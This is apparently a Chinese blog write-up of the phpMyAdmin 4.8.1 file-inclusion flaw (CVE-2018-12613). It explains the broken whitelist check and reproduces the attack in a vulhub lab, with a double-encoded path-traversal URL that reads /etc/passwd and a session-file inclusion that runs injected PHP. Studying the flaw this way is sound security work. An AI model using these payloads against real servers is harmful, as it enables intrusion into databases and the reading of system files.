phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

参考文档:

漏洞原理

一个攻击者可以在服务器上包含(查看和潜在执行)文件的漏洞被发现。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。攻击者必须经过身份验证,但在这些情况下除外:

$ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码

$ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码

漏洞形成的原因

/index.php//line 55-63


image.png

if区间一共有五个判断:

1、是否存在target参数

2、target参数是否为字符串

3、值不能以index开头值不能出现在$target_blacklist内

4、Core类的checkPageValidity方法判断

如果通过判断则包含参数所指定的文件。

前几个判断可以忽略,重要的是后面两个判断,先看第一个

/index.php


image.png

$target_blacklist中的数组为import.php 和 export.php,只要target的值不是这两个就可以
我们看下一个判断
首先找到Core类的checkPageValidity函数:

image.png
checkPageValidity函数里又是五个判断:

1、$whitelist为空则引用静态声明的$goto_whitelist

2、如果$page没有被定义过或者$page不为字符串则return false

3、$page存在$whitelist中的某个值则返回true

4、$_page存在$whitelist中的某个值则返回true

5、经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true

我们来逐行分析:
首先index.php调用checkPageValidity参数时并没有传第二个参数所以会进入此参数的第一个if区间,我们来看一下$goto_whilelist

image.png
$goto_whilelist定义了些可以被包含的文件名(省略了一部分)第二个if直接跳过我们来看第三个if区间,如果$page如果等于$goto_whilelist的某个值则return真。phpmyadmin的开发团队考虑的很全面,想到了会存在target的值后面再跟参数的情况,于是有了第三个判断:
image.png
$_page为 以?分割然后取出前面的字符串再判断值是否存在与$goto_whilelist某个数组中。

这个判断的作用是,如果target值带有参数的情况下,phpmyadmin也能正确的包含文件。

也正是因为phpmyadmin团队考虑的太全面了,才会出现此漏洞......

image.png
后面又将$page参数用urlencode解码再进行以?分割取出前面的值做判断。那么传入target=db_sql.php%253f/../../test.txttxt内容为<?php phpinfo();?>//%253f是?号的二此url编码urlcode将$page解码后是db_sql.php?/../../test.php  再以?分割取出来前面的字符串为index.php,$whitelist中有index.php所以会进入最后一个if区间return true

漏洞利用

漏洞环境:
0x01 源码下载地址
https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

0x02 首先进入到CVE-2018-12613目录

cd /home/phpmyadmin/CVE-2018-12613/

0x03 接着执行如下命令,启动phpmyadmin 4.8.1

docker-compose up -d

环境启动后,访问http://your-ip:12613,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。

image.png

访问http://your-ip:12613/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在:
image.png

利用方式也比较简单,可以先执行一下SELECT '<?php phpinfo()?>';,执行成功之后
image.png

image.png

然后查看自己的sessionid(cookie中phpMyAdmin的值)
image.png

然后访问http://192.168.10.115:12613/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_ 34340c2ca491f432a79710ca55f6a81c包含session文件即可
image.png

推荐阅读更多精彩内容